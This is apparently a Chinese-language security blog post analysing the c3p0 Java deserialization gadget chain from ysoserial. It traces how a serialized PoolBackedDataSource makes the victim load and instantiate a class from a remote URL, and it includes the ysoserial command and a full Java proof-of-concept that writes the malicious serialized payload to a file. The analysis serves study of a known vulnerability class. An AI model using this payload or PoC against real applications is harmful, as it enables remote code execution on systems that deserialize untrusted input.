环境准备:
pom:
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 --> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
payload生成:
java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > test.ser //加载Exploit.class
调用链分析:
exec处下断点,整个调用链如下图所示:
反序列化的入口点时com/mchange/v2/c3p0/impl/PoolBackedDataSourceBase,
首先从输入流中还原出一个referenceIndirector的内部类referenceSerialized的对象,然后判断其若是不是类IndirectlySerialized的实例,由下图可得此时referenceSerialized实现了referenceSerialized接口,那么
referenceSerialized必定是其实例
而该接口定义了一个getObject方法,用于返回对象,所以就到了referenceSerialized类的getObject
在这里获取上下文,应该是尝试通过jndi的方式获取上下文,然而这里contextname为null,即jndi失效,所以通过ReferenceableUtils.referenceToObject来加载引用,这里引入的类名为exploit,也就是我们的恶意的字节码的文件名
reFerenceToObject根据Reference对象来获取工厂类的名字,以及工厂类的地址,接着拿到类加载器,拿到appClassLoader(一般程序中类加载都用这个,它的上面还有jre核心类运行的加载(rt.jar)bootstrap classloader和扩展类加载ext classloader)
接着就判断工厂类地址是否为空,不为空则去远程地址加载工厂类,这里用到了urlclassLoader,然后通过class.forname生成一个class 类型的实例,就加载到了工厂类,即我们的恶意字节码类
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
接着newInstance完成了类的实例化,即触发构造方法中的代码块执行
tip:
那么这里重点还是引用类的构造,即referenceSerialized的this.reference成员变量的赋值
ysoserial的构造:
这里先实例化一个PoolBackedDataSource的实例,然后再将本地构造的PoolSource赋值给该类的connectionPoolDataSource成员方法,感觉这里比较主要的就是重写getReference方法来返回一个指向远程地址的引用实例
看下PoolBackedDataSource的writeObject方法应该更好理解一点:
因为序列化时实际上是从输入流中读出一个object来调用其getobject,所以这里第一次写入的object就是要反序列化利用的object,第一个tobyteArray那里如下图catch到错误,因为poolsource是不可序列化的类,所以走到reference那里indirector.indirectForm(this.connectionPoolDataSource),这个传入的就是本地构造的poolsource的实例
indirectForm里面调用poolSource的getRerence方法实际上想返回一个reference类型的实例,所以ysoserial构造gadget的时候要本地定义一个getRerence()方法
所以indirectForm最后返回一个ReferenceIndirector.ReferenceSerialized的实例,其可序列化,因为有下面两个图的关系
所以最终这里调用weiteObject写入序列化的数据流,完成payload的构造
所以就可以手动构造poc了:
poc.java
package C3P0; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class payload1 { private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource(String className, String url) { this.className = className; this.url = url; } @Override public Reference getReference() throws NamingException { return new Reference("exploit", this.className, this.url); } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException { Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]); con.setAccessible(true); PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]); Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); conData.setAccessible(true); conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8989/")); ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/t.ser")); objOut.writeObject(obj); } }